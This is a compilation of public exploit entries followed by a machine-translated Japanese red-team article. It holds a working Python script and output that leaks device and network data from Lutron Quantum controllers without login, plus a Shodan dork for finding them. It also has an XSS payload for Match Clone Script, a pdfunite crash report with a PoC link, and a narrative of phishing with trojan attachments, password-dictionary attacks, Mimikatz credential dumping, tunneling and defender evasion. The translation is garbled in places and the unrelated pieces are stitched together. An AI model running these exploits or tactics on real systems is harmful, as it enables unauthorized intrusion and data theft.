# Exploit Title: Login bypass and data leak - Lutron Quantum 2.0 - 3.2.243 firmware
# Date: 20-03-2018
# Exploit Author: David Castro
# Contact: https://twitter.com/SadFud75
# Vendor Homepage: http://www.lutron.com
# Software Link: http://www.lutron.com/en-US/Products/Pages/WholeBuildingSystems/Quantum/Overview.aspx
# Version: Lutron Quantum 2.0 - 3.2.243 firmware
# CVE : CVE-2018-8880
# Shodan dork: html:"<h1>LUTRON</h1>"

Python 2.7 Output:

Leaking data from HOST
[+] Device info:

MAC: 000FE702A999
PRODUCT FAMILY: Gulliver
PRODUCT TYPE: Processor
SERIAL NUMBER: 007B24B4
GUID: 0DFB959BD0D8784DA9501B958F099779
CODE VERSION: 7.5.0

[+] Network info:

INTERNAL IP: 192.168.0.2
SUBNET MASK: 255.255.255.0
GATEWAY: 192.168.0.1
TELNET PORT: 23
FTP PORT: 21
REMOTE PORT: 51023

[+] Done.

'''


import requests
from bs4 import BeautifulSoup

ip = raw_input("Enter target ip: ")
port = raw_input("Enter target port: ")

print 'Leaking data from ' + 'http://' + ip + ":" + port
r = requests.get('http://' + ip + ":" + port + '/deviceIP')
resultado = r.text
parseado = BeautifulSoup(resultado, "lxml")

print '[+] Device info:'
print ''
print 'MAC: ' + parseado.find('input', {'name': 'MacAddr'}).get('value')
print 'PRODUCT FAMILY: ' + parseado.find('input', {'name': 'PRODFAM'}).get('value')
print 'PRODUCT TYPE: ' + parseado.find('input', {'name': 'PRODTYPE'}).get('value')
print 'SERIAL NUMBER: ' + parseado.find('input', {'name': 'SERNUM'}).get('value')
print 'GUID: ' + parseado.find('input', {'name': 'GUID'}).get('value')
print 'CODE VERSION: ' + parseado.find('input', {'name': 'CODEVER'}).get('value')
print ''
print '[+] Network info:'
print ''
print 'INTERNAL IP: ' + parseado.find('input', {'name': 'IPADDR'}).get('value')
print 'SUBNET MASK: ' + parseado.find('input', {'name': 'SUBNETMK'}).get('value')
print 'GATEWAY: ' + parseado.find('input', {'name': 'GATEADDR'}).get('value')
print 'TELNET PORT: ' + parseado.find('input', {'name': 'TELPORT'}).get('value')
print 'FTP PORT: ' + parseado.find('input', {'name': 'FTPPORT'}).get('value')
print 'REMOTE PORT: ' + parseado.find('input', {'name': 'REMOTEPORT'}).get('value')
print ''
print '[+] Done.'
print ''
HireHackking 
########################################################################
# Exploit Title: Match Clone Script 1.0.4 - Cross-Site Scripting
# Date: 23.02.2018
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/match-clone/
# Category: Web Application
# Exploit Author: ManhNho
# Version: 1.0.4
# Tested on: Window 10 / Kali Linux
# CVE: CVE-2018-9857
##########################################################################
Description
------------------------
PHP Scripts Mall Match Clone Script 1.0.4 has XSS via the search field to
searchbyid.php (aka the "View Search By Id" screen).

Proof of Concept
------------------------
1. Access to site
2. Choose “Search”
3. Choose "View Search By Id"
3. Put <script>alert('ManhNho')</script> in search field
4. You will be having a popup: ManhNho

References:
------------------------
https://pastebin.com/Y9uEC4nu
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9857
HireHackking 
# Exploit Title: PDFunite Malformed pdf buffer overflow
# Date: 17 April 2018
# Exploit Author: Hamm3r.py
# Vendor Homepage: https://launchpad.net/ubuntu/artful/+package/poppler-utils
# Software Link: https://launchpad.net/ubuntu/+source/poppler/0.57.0-2ubuntu4.2
# Version: 0.41.0
# Tested on: Ubuntu
# CVE :

pdfunite is a part of poppler package in ubuntu. pdfunite is prone to a
local bufferoverflow when a malformed pdf is used to unite with another
pdf.
Following is the gdb stack trace:

Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7abf948 in XRef::getEntry(int, bool) () from
/usr/lib/x86_64-linux-gnu/libpoppler.so.58
#0 0x00007ffff7abf948 in XRef::getEntry(int, bool) () from
/usr/lib/x86_64-linux-gnu/libpoppler.so.58
#1 0x00007ffff7aa8867 in PDFDoc::markObject(Object*, XRef*, XRef*,
unsigned int, int, int, std::set<Dict*, std::less<Dict*>,
std::allocator<Dict*> >*) () from /usr/lib/x86_64-linux-gnu/libpoppler.so.58
#2 0x00007ffff7aa85a3 in PDFDoc::markDictionnary(Dict*, XRef*, XRef*,
unsigned int, int, int, std::set<Dict*, std::less<Dict*>,
std::allocator<Dict*> >*) () from /usr/lib/x86_64-linux-gnu/libpoppler.so.58
#3 0x00007ffff7aa884c in PDFDoc::markObject(Object*, XRef*, XRef*,
unsigned int, int, int, std::set<Dict*, std::less<Dict*>,
std::allocator<Dict*> >*) () from /usr/lib/x86_64-linux-gnu/libpoppler.so.58
#4 0x00007ffff7aa8971 in PDFDoc::markObject(Object*, XRef*, XRef*,
unsigned int, int, int, std::set<Dict*, std::less<Dict*>,
std::allocator<Dict*> >*) () from /usr/lib/x86_64-linux-gnu/libpoppler.so.58
#5 0x00007ffff7aa85a3 in PDFDoc::markDictionnary(Dict*, XRef*, XRef*,
unsigned int, int, int, std::set<Dict*, std::less<Dict*>,
std::allocator<Dict*> >*) () from /usr/lib/x86_64-linux-gnu/libpoppler.so.58
#6 0x00007ffff7aa884c in PDFDoc::markObject(Object*, XRef*, XRef*,
unsigned int, int, int, std::set<Dict*, std::less<Dict*>,
std::allocator<Dict*> >*) () from /usr/lib/x86_64-linux-gnu/libpoppler.so.58
#7 0x00007ffff7aa8971 in PDFDoc::markObject(Object*, XRef*, XRef*,
unsigned int, int, int, std::set<Dict*, std::less<Dict*>,
std::allocator<Dict*> >*) () from /usr/lib/x86_64-linux-gnu/libpoppler.so.58
#8 0x00007ffff7aa85a3 in PDFDoc::markDictionnary(Dict*, XRef*, XRef*,
unsigned int, int, int, std::set<Dict*, std::less<Dict*>,
std::allocator<Dict*> >*) () from /usr/lib/x86_64-linux-gnu/libpoppler.so.58
#9 0x00007ffff7aa884c in PDFDoc::markObject(Object*, XRef*, XRef*,
unsigned int, int, int, std::set<Dict*, std::less<Dict*>,
std::allocator<Dict*> >*) () from /usr/lib/x86_64-linux-gnu/libpoppler.so.58
#10 0x00007ffff7aa8bae in PDFDoc::markPageObjects(Dict*, XRef*, XRef*,
unsigned int, int, int, std::set<Dict*, std::less<Dict*>,
std::allocator<Dict*> >*) () from /usr/lib/x86_64-linux-gnu/libpoppler.so.58
#11 0x000000000040271a in ?? ()
#12 0x00007ffff722d830 in __libc_start_main (main=0x401b20, argc=4,
argv=0x7fffffffe0b8, init=<optimized out>, fini=<optimized out>,
rtld_fini=<optimized out>, stack_end=0x7fffffffe0a8) at
../csu/libc-start.c:291
#13 0x0000000000403179 in ?? ()


$ pdfunite -v
pdfunite version 0.41.0


#This issue is identified by Hamm3r.py, a general purpose fuzzer!


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44490.zip
HireHackking

0x00赤チームとは

レッドチームは一般に、実際のオンライン攻撃および防御演習で攻撃パーティーを指します。

レッドチームは通常、システム、人事、ソフトウェア、ハードウェア、および機器を同時にターゲットにするマルチアングル、ハイブリッド、および対立シミュレーション攻撃をターゲットにします。システムパワープロモーション、制御サービス、およびデータの取得を達成することにより、システム、テクノロジー、人事、インフラストラクチャのネットワークセキュリティリスクまたは弱いリンクを発見します。

レッドチームのスタッフは、一般的な意味でコンピューターハッカーではありません。ハッカーはしばしばシステムを突破して利益を得ることを目指しているからです。レッドチームは、システム内の弱いリンクを発見し、システムセキュリティを改善することを目指しています。さらに、普通のハッカーの場合、特定の攻撃方法が効果的に目標を達成できることがわかっている限り、通常、他の攻撃方法と方法を試す必要はありません。しかし、レッドチームの目標は、システム内のすべてのセキュリティ問題を可能な限り見つけることです。そのため、攻撃を完了するために既知の「すべての」方法を使い果たすことがよくあります。言い換えれば、レッドチームの職員が必要とするのは、1つまたは2つの素晴らしいハッキングテクニックだけでなく、包括的な攻撃的および防御能力です。

Redチームの仕事は、業界でよく知られている浸透テストとも異なります。通常、浸透テストは、標準化された技術プロセスに従ってターゲットシステムのセキュリティテストです。レッドチームの攻撃は一般に攻撃範囲と攻撃期間を制限し、特定の攻撃方法に制限はありません。一般に、侵入テストプロセスは脆弱性の存在を検証するだけで、REDチーム攻撃ではシステム許可またはシステムデータの実際の取得が必要です。さらに、浸透テストでは一般に、ソーシャルワーカーの使用が禁止されていることが必要です（攻撃は誘導、欺ceなどによって完了します）。

:は通常、実際の戦闘攻撃および防御演習中に赤チームの攻撃方法を厳密に制限しないが、すべての技術の使用と目標の達成も関連する国の法律と規制を厳密に順守しなければならないという別の点を説明する必要があります。

運動の実践では、レッドチームには通常、戦闘チームとして3人、チームリーダーとして1人がいます。チームリーダーは通常、レッドチームで最も強力な包括的な能力を持つ人であり、強力な組織的認識、適応性、豊かな実践的な経験を必要とします。 2人のチームメンバーは、ボーダーブレークスルー、水平ムーブメント（1つの制御されたデバイスを使用して他の隣接するデバイスを攻撃する）、インテリジェンスコレクション、または武器生産など、1つまたは複数の側面の専門知識を持つ独自の強みを持つ必要があることがよくあります。

レッドチームの作業の能力要件は、多くの場合、包括的かつ包括的です。 Redチームのメンバーは、さまざまなハッキングツールと分析ツールを使用するのに熟練しているだけでなく、ターゲットシステムとそのセキュリティ構成に精通し、特別な問題に対処するための特定のコード開発機能を持っている必要があります。

0x02 Red Team 3つのスキル - 3段階の攻撃

赤チームの攻撃は素晴らしい衝突ではなく、科学的で合理的な戦闘プロセスです。一般的に、レッドチームの作業は、インテリジェンスコレクション、拠点の構築、水平に移動するという3つの段階に分けることができます。また、これらの3つの段階をレッドチームの仕事の「3つのトリック」と呼びます。

1。ステージ1：インテリジェンスコレクション

赤チームの専門家がターゲットタスクを受け取る場合、侵入テストのようなデータを収集した後、さまざまな共通の脆弱性を直接試みることはありませんが、最初にインテリジェンス偵察と情報収集を行います。収集されたコンテンツには、組織構造、ITアセット、機密情報の漏れ、サプライヤー情報、その他の側面が含まれます。組織構造には、単位および部門部門、人事情報、作業機能、下位ユニットなどが含まれます。資産には、ドメイン名、IPアドレス、Cセグメント、オープンポート、オペレーションサービス、Webミドルウェア、Webアプリケーション、モバイルアプリケーション、ネットワークアーキテクチャなどが含まれます。機密情報の漏れには、コード漏れ、ドキュメント情報の漏れ、電子メール情報の漏れ、歴史的脆弱性漏れ情報などが含まれます。サプライヤー情報には、関連する契約、システム、ソフトウェア、ハードウェア、コード、サービス、人員、その他の関連情報が含まれます。

関連する人事情報とターゲットエンタープライズの組織構造を習得することにより、harpoon攻撃を実装するために重要な数字をすばやく見つけたり、イントラネットの水平および垂直貫通パスを決定したりできます。また、資産情報を収集することにより、脆弱性の発見と利用に関するデータサポートを提供できます。企業とサプライヤーの協力の関連情報を習得すると、ターゲットを絞ったサプライチェーン攻撃に資料を提供できます。ソーシャルワーカーをフィッシュするか、脆弱性攻撃を直接活用するか、サプライチェーンから開始するかは、一般に、セキュリティ保護の弱いリンクとレッドチームの攻撃パスの選択に依存します。

2。第2段階：拠点を確立します

弱いリンクを見つけた後、レッドチームの専門家は、一般に「修理ポイント」または引き裂き穴と呼ばれる外部ネットワークシステムの制御権限を取得するために抜け穴またはソーシャルワーカーを使用しようとします。このプロセスでは、REDチームの専門家は、WAF、IPS、Antivirusソフトウェアなどの保護具またはソフトウェアをバイパスし、最小トラフィックと最小アクションを使用して脆弱性の搾取を達成しようとします。

引き裂き穴を通して、イントラネットに接続されたチャネルとさらなる浸透を見つけます。外側から内側へのこのプロセスは、一般に縦方向の浸透と呼ばれます。内側と外側に接続されたDMZエリア（非武装ゾーン）が見つからない場合、レッドチームの専門家は、イントラネットに接続されたポイントが見つかるまで穴を引き裂き続けます。

赤チームの専門家が適切な穴を見つけると、外部ネットワークからイントラネットに入るためのベースとしてこのポイントを使用できます。この時点で、この時点でFRP、Ewsocks、Regeorgなどのツールを通じて確立され、外部ネットワークから内部ネットワークへのスプリングボードを形成し、イントラネット浸透を実装するための強固な基盤として使用します。

許可が踏み台を確立するのに十分でない場合、レッドチームの専門家は通常、システム、プログラム、またはサービスの脆弱性を使用して、権限の運用を増やしてより高い権限を取得します。ベースが安定していないPCである場合、PCが再起動した後もベースがオンラインであることを確認するために、永続的な操作を実行します。

3。 3番目の段階：水平ムーブメント

イントラネットに入った後、レッドチームの専門家は通常、ローカルマシンと内部ネットワークでさらなる情報収集とインテリジェンススパイを実行します。現在のコンピューターのネットワーク接続、プロセスリスト、コマンド実行履歴、データベース情報、現在のユーザー情報、管理者ログイン情報、サマリーパスワードルール、パッチ更新頻度、その他の情報を収集するなど。同時に、IP、ホスト名、オープンポート、オープンサービス、オープンアプリケーションなど、イントラネット上のサーバーのインテリジェンススパイを指揮します。次に、イントラネットコンピューターとサーバーを使用して、時間内に脆弱性を修復できず、セキュリティ保護と同じパスワードを提供して、水平浸透の結果を拡張します。

ドメインを含むイントラネットの場合、Redチームの専門家は、結果を拡大しながら、ドメイン管理者のログインに関する手がかりを探します。サーバーにドメイン管理者がログインしていることがわかったら、Mimikatzなどのツールを使用して、ログインアカウントパスワードのクリアテキスト、またはNTLMハッシュをエクスポートするハッシュダンプツールを取得し、ドメイン制御サーバーの浸透制御を実現できます。

イントラネットローミングプロセス中、REDチームの専門家は、メールサーバーの許可、OAシステムの許可、バージョン制御サーバーの許可、集中操作およびメンテナンス管理プラットフォームの許可、統一された認証システム許可、ドメイン制御権限などに焦点を当てます。

0x03赤チームにはルーチンもあります - 一般的に使用される攻撃戦術

レッドチームの実際の戦闘中に、レッドチームの専門家は徐々にいくつかのルーチンを開発し、いくつかの経験を要約しました。システムの脆弱性が見つからない場合、彼らは釣りをして人々から突破口を作ろうとします。セキュリティ保護機器がある場合、彼らはスキャナーをできるだけ使用しないか、使用しないようにし、Expを使用して1回のストライクでターゲットを打つよう努力します。ブルーチームのタイトな防衛システムの場合、彼らは子会社またはサプライチェーンから作業を実行しようとします。拠点を確立する過程で、複数の手段を使用して、問題が発生する前に問題を防ぐために複数のポイントで潜んでいます。

以下は、レッドチームで最も一般的に使用される攻撃戦術の4つです。

1。弱いパスワードを使用してアクセス許可を取得します

弱いパスワード、デフォルトのパスワード、ユニバーサルパスワード、リークされたパスワードは、通常、赤チームの専門家の焦点です。実際の作業では、脆弱なパスワードを介してアクセス許可を取得したケースの90％以上が説明しています。

企業の多くの従業員は、Zhangsan、Zhangsan001、Zhangsan123、Zhangsan888またはその単純な変形などのアカウントのピニインを使用しています。これにより、情報が収集された後、電子メール、OA、その他のアカウントをキャプチャできる列挙のために、単純なパスワード辞書が生成されるという事実につながります。

また、複数の異なるWebサイトで同じパスワードを設定するのが好きな多くの従業員もいます。パスワードは長い間漏れてソーシャルワークライブラリに入力されています。または、SSO検証を有効にしないイントラネットビジネスシステムに、同じ一連のアカウントパスワードを使用することに慣れています。これにより、特定のチャネルからアカウントパスワードを取得した後、資格情報の再利用を通じてこの従業員が使用する他のビジネスシステムに簡単にログインし、新しい攻撃面を開くための利便性を提供できるという事実につながります。

多くの一般的なシステムは、インストール後にデフォルトの管理パスワードを設定しますが、一部の管理者はパスワードを変更したことがありません。 Admin/Admin、Test/123456、Admin/Admin888などのパスワードは、内部および外部ネットワークシステムのバックエンドシステムに広く存在します。バックエンドシステムに入ると、サーバー制御権限を取得する可能性が非常に高くなります。同様に、多くの管理者は同じパスワードのセットを使用して、管理の利便性のために異なるサーバーを管理します。サーバーがキャプチャされ、パスワードが盗まれると、複数のサーバーに拡張され、ドメインコントローラーが落ちるリスクさえも拡張できます。

2。ソーシャルワーカーを使用して、イントラネット

に入ります

コンピューターは「決して」間違いを犯します。ロジックは、プログラムを書くときに実行されます。あるコンピューターでの実行方法は、別のコンピューターでも同じことが言えます。しかし、人々はさまざまな間違いを犯します。同じ従業員は、異なる状況で同じことで異なる間違いを犯す可能性があり、異なる従業員も同じ状況で異なる間違いを犯す可能性があります。多くの場合、人気のあるチームの専門家がシステムを構築するのが難しいと感じるとき、彼らは通常、「人々を魅了する」（ソーシャルワーカー、釣りなど）に考えを変えます。

多くの従業員は、受け取ったトロイの木馬やフィッシングメールを認識していません。 Redチームの専門家は、ターゲット従業員の電子メール許可を取得し、このメールを通じてフィッシングメールを送信できます。ほとんどの従業員は、内部の従業員からの電子メールを信頼するため、フィッシングメールに閉じ込められた悪意のある添付ファイルを簡単にクリックします。従業員のパーソナルコンピューターが落ちたら、レッドチームの専門家は従業員のPCをスプリングボードとして使用して水平方向のイントラネット浸透を実装し、ターゲットシステムまたは他のシステムを攻撃したり、ドメインコントローラーを攻撃してイントラネットを攻撃したりできます。

もちろん、ソーシャルワーカーは電子メールの使用に限定されませんが、カスタマーサービスシステム、チャットソフトウェア、電話などを通じて良い結果を達成することがあります。たとえば、古典的なハッカー「Xiaomu」が大規模なインターネット会社に侵入しました。カスタマーサービスシステムは、実行できないクライアントソフトウェアに問題があることを報告し、その後、トロイの木馬ファイルをカスタマーサービスに送信しました。最後に、トロイの木馬は、それが開始された後、会社のコアシステムをうまく制御しました。これは古典的なケースです。時には、ハッカーは、法律スタッフに弁護士の手紙を送る、履歴書を人事職員に送る、調達ニーズを販売スタッフに送るなど、状況を開くためにセキュリティについてあまり知らない会社の従業員を使用する場合があります。

関連する従業員コンピューターが制御されると、情報収集をさらに実装できます。たとえば、毎日のコンピューター操作の便利さのために、ほとんどの従業員は、デスクトップにシステムアドレスとアカウントのパスワードを含むドキュメントを保存します。さらに、ほとんどの従業員は、ブラウザのパスワード記憶機能を使用することにも慣れています。ブラウザのパスワード記憶機能は、暗号化のためにシステムのAPIに依存しており、保存されたパスワードは可逆的です。保存されたパスワードをエクスポートした後、REDチームは制御されたマシンにスプリングボードを作成し、制御された従業員のIP、アカウント、およびパスワードでログインできます。これほど便利なものはありません。

3。バイパス攻撃を使用して浸潤

ブルーチームディフェンスを備えたレッドチームの仕事では、本社のウェブサイトがより厳しく防御されることがあり、レッドチームの専門家がハードスチールに立ち向かい、イントラネットのドアをこじ開けることは困難です。この場合、レッドチームは通常、都市の門を攻撃しませんが、あらゆる手段を試して「下水道」を見つけたり、トンネルを掘って回り道で攻撃したりします。

Redチームの実際の戦闘中に、企業の子会社の大多数と従属企業とグループ本部の間の内部ネットワークは、効果的に隔離されていないことがわかりました。多くの省庁、委員会、ユニット、大規模な中央企業は、地域間のイントラネットを接続するために個別の専用ネットワークを使用することに慣れていますが、同時に、そのようなイントラネットのセキュリティ構築を無視し、十分な効果的なネットワークアクセス制御を欠いています。その結果、子会社と支店が破られると、レッドチームはイントラネットの水平侵入を介してグループ本部を直接攻撃し、イントラネット全体を歩き、システムを攻撃できます。

たとえば、子会社Aは深Shenzhenにあり、子会社Bは広州にあり、その本部は北京にあります。子会社Aまたは子会社Bが破られると、障害なしに本社ネットワークに入ることができます。別のケースでは、子会社とBは北京に本社を置くビジネスシステムにアクセスするだけで、AとBはビジネス取引をする必要はありません。理論的には、AとB間のネットワークアクセスを制限する必要があります。しかし、現実には、専用のイントラネットが国のすべての地域につながり、1つの秋がどこにでも落ちる可能性があります。

さらに、ほとんどの企業は、VPNシステム、仮想化されたデスクトップシステム、メールサービスシステムなど、インターネットに開放されている境界デバイスを信頼しています。そのようなデバイスは通常、イントラネットで重要なサービスにアクセスすることを考慮して、従業員の通常の使用に影響を避けるために、企業は送信チャネルにより多くの保護方法を追加しません。さらに、このようなシステムは統合ログインを統合します。従業員のアカウントパスワードが取得されると、境界を突破し、これらのシステムを介してイントラネットを直接入力できます。

たとえば、イントラネットの境界に開かれたメールサービスは通常、監査がなく、多要因認証を使用しません。従業員は通常、サーバーアカウントのパスワード、主要な人事アドレス帳など、電子メールを介してイントラネットに関する大量の機密情報を送信します。従業員アカウントのパスワードを習得すると、電子メールで取得した情報は、作業の次のステップに多くの利便性を提供します。

iv。秘密の浸透と複数の潜んでいる

レッドチームの仕事は一般に、大規模な脆弱性スキャナーを使用しません。現在、主流のWAF、IPS、およびその他の保護装置は、脆弱性スキャナーを特定する機能を備えています。発見されると、アラームがトリガーされるか、IPができるだけ早くブロックされる場合があります。したがって、情報収集とインテリジェンススパイは、レッドチームの仕事の基礎です。データの蓄積に基づいて、特定のシステム、特定のプラットフォーム、特定のアプリケーション、および特定のバージョンに基づいて対応する脆弱性を見つけることを目的としており、1回のストライクでターゲットを打つという目標を達成できる攻撃操作を実装するために保護装置をバイパスできるExpを書き込みます。

多くの既存のセキュリティデバイスは、基本的に、独自の欠陥やセキュリティ保護機能が弱いため、攻撃を迅速かつ効果的に検出およびブロックする能力を持っていません。その結果、システムが侵略されたとしても、攻撃されたユニットは、Redチームがターゲットデータとデータを取得した後、まだ侵略を感じていません。さらに、セキュリティ担当者の技術的能力が弱いため、攻撃行動を発見して特定することはできず、効果的な攻撃ブロッキング、脆弱性の追跡、システム修復戦略を提供することはできません。

仕事では、レッドチームの専門家は通常、侵入作業を実施するために1つの拠点に立つだけでなく、異なるプロトコルを使用して異なる特性を持つ拠点を確立するために異なるウェブシェルとバックドアを採用します。ほとんどの緊急対応プロセスは、攻撃の原因を追跡できず、完全な攻撃パスを分析したり、リンケージ防御を欠いたりすることができないためです。ブルーチームが保護装置に警告すると、ブルーチームのほとんどはアラームデバイスのアラームIPの対応するサーバーのみを扱い、攻撃チェーンの並べ替えを無視して、アラーム処理にもかかわらず、イントラネットからレッドチームを除外できなくなり、レッドチームの拠点はすぐに「Rekind」を「一部の青いチームメンバーがプロフェッショナルではなく、Windowsサーバーの緊急操作やメンテナンスなどのセキュリティ認識がない場合、リモートデスクトップ共有を介してディスクをアラームサーバーに直接取り付けることができます。

0x04赤チームの36の戦略 - クラシック攻撃の例

古代人は、軍隊を戦わせるための36の戦略について話しました。また、赤チームの実際の戦闘も攻撃的で防御的な対立のプロセスです。それはまた、人々の間の戦いであり、提案と知恵と勇気を必要とします。このプロセスでは、「陰謀」と「陰謀」があり、勇気があり、将来を見据えています。この目的のために、私たちはいくつかの小さなケースを選択し、レッドチームの一般的な攻撃方法を36のタイトルで見せました。

1。問題のある海での釣り - ソーシャルワーカーの釣りのブレークスルーシステム

ソーシャルエンジニアリング（社会労働者）は、レッドチームの仕事の半分を占めており、釣り攻撃はソーシャルワーカーの間で最も一般的に使用されるルーチンです。フィッシング攻撃には、通常、ある程度の隠蔽と欺ceptiveningがあります。ネットワークテクノロジー機能を持っていない人は、通常、コンテンツの信頼性を区別することはできません。特定のターゲットとグループのために慎重に構築された槍フィッシング攻撃は、特定のネットワークテクノロジー機能を持つ人々を防御するのが難しくなり、浸透ツールと呼ばれることがあります。

Xiao Dチームは、そのような作業目標を受け取りました。特定の企業の金融システムです。早期のスカウティングと情報収集により、ターゲットエンタープライズの外部ネットワークにはオープンなシステムが非常に少なく、悪用可能な抜け穴がなかったため、管理を通じてイントラネットに入ることは困難でした。

しかし、彼らはまだ、オンライン検索といくつかのオープンソーシャルソーシャルワークデータベースを通じて、ターゲット企業からのスタッフメールのグループを収集するように依頼しました。このメーリングリストのバッチを習得した後、Xiao Dは、リークされたパスワードルール、123456や888888などの一般的な弱いパスワード、同じユーザー名とパスワード、またはユーザー名123などの弱いパスワードに基づいて、弱いパスワード辞書を生成しました。

Xiao Dは、従業員からのメールを分析し、電子メールユーザーがITテクノロジー部門の従業員であることを発見しました。メールアドレスボックスをチェックして、次のように歴史の中で彼から送信された電子メールをご覧ください。

タイトル：従業員がポート445とポート3389をオフにするという運用プロセスについて

添付ファイル：操作process.zip

Xiao Dは、このメールに基づいて状況を利用して変革し、偽装することにしました。フィッシングメールは次のとおりです。その中で、zipファイルはトロイの木馬を備えた圧縮ファイルです。

タイトル：ポート445とポート3389の電源を切る従業員の運営の補足

添付ファイル：補足操作process.zip

攻撃の成功率を改善するために、ターゲット企業の従業員の分析を通じて、Xiao Dは金融部門といくつかの財務関連部門に電子メールを送信することを決定しました。

Xiao Dは大量の電子メールを送信し、会社の数人の従業員がオンラインになるように欺かれ、添付ファイルを開きました。より多くのホストを制御し、より多くのメールボックスを制御します。フィッシングメールの作成中、Xiao Dは、ターゲットの役割と特性に従って柔軟に構築します。たとえば、電子メールをチェックするプロセス中に、次のメールが見つかります。

親愛なるリーダーと同僚、フィッシングメールインシデントを見つけた場合、それは19626年の事件として内部的に定義されます。電子メールattachment.exe、batなどの接尾辞に注意してください。

Xiao Dはまた、上記のメールを利用し、上記のメールを親として使用し、次のメールを使用してフィッシングを継続する戦略を採用しました。

親愛なるリーダーと同僚、私は最近、多数のフィッシングメールを発見しました。以下は検出手順です.

添付ファイル：検出プログラム

より多くの電子メール許可とシステムの許可を常に取得し、ターゲットの役割に基づいてフィッシングメールを設計することにより、Xiao Dは最終的にターゲットを獲得しました。

2。東をプレイして西に攻撃する - トラフィックを混乱させ、偵察を避ける

ブルーチーム（防衛パーティー）が関与する実際の攻撃および防御作業では、特にブルーチームのランキングまたは通知メカニズムで、レッドチームとブルーチームは通常対立します。 IPブロッキングとバイパス、WAFの傍受とバイパス、ウェブシェルの検出と免除、および火薬のない戦争は通常、赤と青の間で発売されます。

Xiao Yと彼が率いるチームは今回遭遇しました。彼が作成したばかりの踏み台は数時間以内にブロックされました。アップロードされたばかりのウェブシェルは、数時間以内に調査され殺害されました。レッドチームがプレーするところはどこでも、青いチームは交通の脅威に従って続きます。彼らは決してそれに飽きることはなく、チームは常にターゲットの周りで回転します。

維持する拠点がなければ、イントラネットのブレークスルーをさらに実施する方法はありません。 Xiao Yと彼のチームは、ブレーンストーミングを実施し、交通脅威監査の自然な弱点、およびBlueチームの人員と技術的能力の可能性を要約して分析し、東と西にヒットする一連の攻撃計画を策定しました。

特定の方法は、直接アクセスの脆弱性を持つ複数のシステムを同時に見つけ、正面に大きなトラフィックを備えた特定のシステムを攻撃し、火力を引き付け、側面のトラフィックを最小限に抑えて、権限を直接取得し、イントラネットをすばやく突破します。

この目的のために、Xiao Yのチームは、最初に情報収集を通じてターゲット企業の外国ネットワークWebアプリケーションを発見し、コード監査を通じて脆弱性マイニングを実行し、複数の深刻な脆弱性をうまく発見しました。さらに、会社のマーケティングウェブサイトが、ブラックボックステストを通じてファイルアップロードの脆弱性を備えていることがわかったことが発見されました。

Xiao Yは、チームを2つのグループに分割しました。彼自身を除く他のすべてのメンバーは、マーケティングウェブサイトに焦点を合わせ、さまざまなセクションに分かれた多くのスプリングボードを準備しました。彼は、彼らが発見されたのか、それとも彼らがブロックされたのかは気にしませんでした。彼は脆弱性スキャナーを装着し、交通脅威分析システムに巨大な「分散型サービス拒否」を可能にするよう努め、ブルーチームの防衛要員が分析と応答の忙しさを残しました。彼は静かにさまざまなIPSとブラウザの指紋機能を使用してWebアプリケーションのWebサイトに侵入し、最小トラフィックを使用してサーバーを取得するよう努めているため、脅威データがマーケティングWebサイトの攻撃洪水に浸されました。

このような攻撃計画を通じて、Xiao YのチームはマーケティングWebサイトとWebアプリケーションWebサイトを同時に獲得しましたが、ソフトウェアの殺害、電源の上昇、バックドアプログラムの配置、イントラネットスキャンのバッチを含む、マーケティングWebサイトでより多くのアクションがありました。同時に、WebアプリケーションのWebサイトは、マーケティングWebサイトで取得したイントラネット情報を使用して、ベースを直接確立し、イントラネット浸透操作を実行します。

すぐにマーケティングのウェブサイトがブルーパーティーから削除され、ブルーチームは交通に基づいて分析、トレーサビリティ、強化を実施し始めました。この時点で、Xiao YはすでにWebアプリケーションのWebサイトにFRP Socksエージェントを構築しており、イントラネットは複数のプロトコルトロイの木馬を使用して複数のサーバーを水平に浸透させて取得し、複数のチャネルをバックアップして、防御が発見または直接キックされるのを防ぐために、容量を安定させました。サーバーの許可は、数日連続で失われませんでした。継続した後、ドメイン管理者とドメインコントローラーに浸透し、最後にターゲットアクセス許可や産業制御機器の権限などのコアターゲットシステムが取得されました。

侵入の終わりに、Xiao Yのチームは、ターゲットエンタープライズセキュリティ情報センターの従業員の電子メールを見て、ブルーチームがマーケティングウェブサイトによって生成されたデータアラームの防御結果を分析および報告していることを確認しました。ただし、現時点では、同社のターゲットシステムはすでにRedチームによって削除されていました。

3。 Li Dai Tao Zombie-ターゲットを解決するために攻撃をバイパス

実際、レッドチームの仕事中に、私は多くの奇妙なことに遭遇しました。たとえば、ブルーチームはウェブサイト全体のホームページをスクリーンショットに置き換えました。一部のデータ送信インターフェイスを閉じてから、Excelテーブルを使用してデータのインポートを実装しました。イントラネットターゲットシステムのIPを制限し、特定の管理者のIPのみがアクセスできるようにしました。

Xiao Hが率いるRedチームは同様のチームに遭遇しました。ターゲット企業はすべての外部ネットワークシステムをオフにし、メールシステムの戦略を作成し、基本的にポイントを管理してイントラネットに入る方法もありませんでした。

この目的のために、十分な情報を収集した後、Xiao Hチームは「Li Dai Taozhuan」戦略を採用することを決定しました。親会社はそれを許可していないため、子会社の構築に進みます。しかし、作業プロセス中に、子会社も適切な保護を受けており、基本的にすべてを閉鎖していることがわかりました。あなたがそれをしなければ、あなたは決して止まらないでしょう。子会社にそれを許可しない場合は、子会社とその子会社の子会社を構築します。

そのため、Xiao Hチームは孫の会社から始まり、SQL Injection + Commandの実行脆弱性を使用して（Summit Company A）DMZエリアに正常に入りました。継続的な浸透とイントラネットの水平ムーブメントは、孫のドメイン制御とDMZサーバーを制御します。 （スポンサーA）が権限を確立した後、最終的なターゲットイントラネット情報と子会社情報を収集しようとしますが、ターゲットシステム情報は見つかりませんでした。しかし、（スポンサー付きの会社A）を接続できることがわかった（子会社B）。

Xiao Hは（スポンサー付き会社A）を使用して（子会社B）攻撃を開始することを決定しました。 Tomcatの弱いパスワードを使用して脆弱性をアップロードして（子会社b）内部ドメインを入力し、サーバーによってエクスポートされたパスワードを使用して内部イントラネットに水平に浸透し、複数のドメインサーバーを取得し（補助B）複数のドメインサーバーを取得し、ウイルス対策サーバーのドメイン管理者の受信パスワードを取得し、最終的に（子会社B）ドメインコントローラーInsionisionsionsを取得します。

